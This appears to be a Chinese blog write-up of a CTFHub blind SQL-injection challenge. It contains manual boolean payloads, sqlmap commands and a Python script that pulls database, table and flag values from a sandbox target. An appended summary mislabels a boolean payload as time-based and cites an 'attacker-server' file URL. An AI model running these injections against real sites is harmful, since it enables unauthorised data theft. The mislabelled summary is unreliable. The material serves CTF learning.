CTFHub-web(sql布尔盲注)

本文深入解析SQL注入攻击的手工操作过程,从获取数据库信息到表名、字段名及数据值的猜解,对比手工注入与使用sqlmap工具的效率,最后提供了一段Python脚本示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

手工注入

1. 题目直接说明了是布尔注盲注,来简单验证一下在这里插入图片描述
在这里插入图片描述
2. 既然如此,那么构造SQL语句,得到数据库长度
在这里插入图片描述
在这里插入图片描述
3. 数据库名称的长度为4,然后可以猜解出数据库的名称
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
得知当前数据库的第一个字母是s
然后依次得到数据库的第2个字母到第4个字母

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最后对照ASCII表
得到当前数据库名称为sqli

在这里插入图片描述
4. 得到数据库中表的数量
前面只是演示如何得到数据库的名称
其实后面可以直接用database()来代替sqli

1 and (select count(table_name) from information_schema.tables
 where table_schema=database())=2

可以得知表的数量为2
在这里插入图片描述
5. 第一张表的名称

1 and ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 0,1),1,1))>110
(不断改变范围,把第一张数据表的第一个字母猜解出来)

1 and ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 0,1),2,1))>110
(不断改变范围,把第一张数据表的第二个字母猜解出来)

1 and ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 0,1),3,1))>110
(不断改变范围,把第一张数据表的第三个字母猜解出来)

......
......
最后得到表名为news

6. 第二张表的名称

1 and ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 1,1),1,1))>110
(不断改变范围,把第二张数据表的第一个字母猜解出来)

1 and ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 1,1),2,1))>110
(不断改变范围,把第二张数据表的第二个字母猜解出来)

1 and ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 1,1),3,1))>110
(不断改变范围,把第二张数据表的第三个字母猜解出来)

......
......
最后得到表名为flag

7. 那么flag必然在flag表里,开始猜解flag表的字段数

1 and (select count(column_name) from information_schema.columns
 where table_name='flag')=1

得到flag只有一个字段

8. 字段名称

1 and ascii(substr((select column_name from information_schema.columns
 where table_name='flag'),1,1))>110
(不断改变范围,把字段名猜解出来)

......
得到字段名也为flag

9. 猜解flag
其实字段名没什么用,因为题目并不会返回具体信息,只会返回查询成功和查询失败
具体的flag还得一个个字母去猜解,太麻烦了

1 and ascii(substr((select * from sqli.flag where id=1),1,1))>110
1 and ascii(substr((select * from sqli.flag where id=1),2,1))>110
1 and ascii(substr((select * from sqli.flag where id=1),3,1))>110

......
这是一个巨大的工作量,所以应该积累到的一个经验是:
手工盲注特别繁琐,碰到这类题目要会用工具sqlmap

sqlmap注入

我是在Kali Linux里面执行的
Windows如何安装使用SQLMap见:
https://blog.csdn.net/weixin_45254208/article/details/104697014

1. 数据库名称
Kali:

sqlmap -u "http://challenge-c0ce9610cb3e7401.sandbox.
ctfhub.com:10080/?id=1" --dbs

Windows:

python sqlmap.py -u "http://challenge-ba06d4afa77b9bd9.sandbox.
ctfhub.com:10080/?id=1" --dbs

注意二者区别,后面以Kali为例,不再赘述
在这里插入图片描述
2. 数据表名称

sqlmap -u "http://challenge-c0ce9610cb3e7401.sandbox.
ctfhub.com:10080/?id=1" -D sqli --tables

在这里插入图片描述
3. 字段,flag

sqlmap -u "http://challenge-c0ce9610cb3e7401.sandbox.
ctfhub.com:10080/?id=1" -D sqli -T flag --columns --dump

在这里插入图片描述

使用脚本

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import time

# 这里的地址要换成自己的环境
urlOPEN = 'http://challenge-7e982e4f68b3651d.sandbox.ctfhub.com:10080/?id='
starOperatorTime = []
mark = 'query_success'


def database_name():
    name = ''
    for j in range(1, 9):
        for i in 'sqcwertyuioplkjhgfdazxvbnm':
            url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
            j, i)
            # print(url+'%23')
            r = requests.get(url)
            if mark in r.text:
                name = name + i

                print(name)

                break
    print('database_name:', name)


database_name()


def table_name():
    list = []
    for k in range(0, 4):
        name = ''
        for j in range(1, 9):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                k, j, i)
                # print(url+'%23')
                r = requests.get(url)
                if mark in r.text:
                    name = name + i
                    break
        list.append(name)
    print('table_name:', list)


# start = time.time()
table_name()


# stop = time.time()
# starOperatorTime.append(stop-start)
# print("所用的平均时间: " + str(sum(starOperatorTime)/100))

def column_name():
    list = []
    for k in range(0, 3):  # 判断表里最多有4个字段
        name = ''
        for j in range(1, 9):  # 判断一个 字段名最多有9个字符组成
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                k, j, i)
                r = requests.get(url)
                if mark in r.text:
                    name = name + i
                    break
        list.append(name)
    print('column_name:', list)


column_name()


def get_data():
    name = ''
    for j in range(1, 50):  # 判断一个值最多有51个字符组成
        for i in range(48, 126):
            url = urlOPEN + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (
            j, i)
            r = requests.get(url)
            if mark in r.text:
                name = name + chr(i)
                print(name)
                break
    print('value:', name)


get_data()

为什么我的脚本跑完之后,只出来了数据库名,其他的报错了呢?
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这报错,应该是靶机环境的时间到了。

总结

开始的时候使用手工注入,旨在了解原理
掌握了以后,去熟悉工具的使用,目的是提高效率

### CTFHub 平台上的历年 SQL 注入真题及解析 #### 背景介绍 CTF(Capture The Flag)竞赛中的 Web 安全题目通常涉及多种攻击向量,其中 SQL 注入是最常见的挑战之一。通过分析历史真题及其解决方案,可以更好地理解漏洞的本质以及防御方法。 --- #### 题目一:基于布尔条件的时间盲注 此类型的题目主要考察选手对时间延迟型 SQL 注入的理解[^2]。 目标 URL 参数如下: ``` ?id=if(1=1,1,(select table_name from information_schema.tables)) ``` 当 `?id` 的值被设置为上述 payload 时,服务器会根据条件执行不同的逻辑路径。如果条件成立,则返回正常页面;否则触发子查询并可能引发错误或超时行为。具体实现可以通过工具如 sqlmap 自动化完成测试过程: ```bash sqlmap -u "http://example.com/?id=1" --time-sec=5 --risk=3 --level=5 --technique=T ``` 以上命令行配置用于探测是否存在基于时间的盲注漏洞,并尝试提取数据库元数据信息。 --- #### 题目二:文件读取与字符串匹配结合 某些场景下需要综合利用多个输入点来绕过验证机制[^3]。例如给定 PHP 脚本片段: ```php if (isset($_GET['text']) && file_get_contents($_GET['text'], 'r') === "welcome to the zjctf") { echo "Correct!"; } else { die("Incorrect!"); } ``` 为了成功提交有效载荷,需构造满足以下约束关系的一组参数组合: 1. **Text Parameter**: 提供可访问的目标资源链接地址; 2. **File Content Validation**: 确保远程加载的内容正好等于预期字符串 `"welcome to the zjctf"`。 一种可行 Payload 设计方案如下所示: ``` http://target-site/vuln.php?text=http://attacker-server/payload.txt&file=&pwd= ``` 这里假设攻击者已经提前准备好了一个托管于外部主机上的静态文本文件 `/payload.txt` ,其内容恰好符合校验标准。 --- #### 题目三:PHP 协议流滥用案例 除了传统的 GET/POST 请求方式之外,在特定条件下还可以借助伪协议实现更复杂的交互操作模式[^1] 。比如利用 `php://input` 来动态生成 POST 数据体部分或者模拟表单上传动作等等。 下面给出一段简单的演示代码用来接收来自客户端发送过来的信息并通过回显确认接收到的数据包详情情况: ```php <?php echo file_get_contents('php://input'); ?> ``` 此时如果我们发起带有自定义 body 的 HTTP 请求就可以看到对应的响应结果了. --- ### 总结说明 通过对这些经典实例的学习可以帮助我们积累实战经验的同时也提醒开发者注意潜在的安全隐患所在之处从而采取适当措施加以防范加固系统整体安全性水平。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值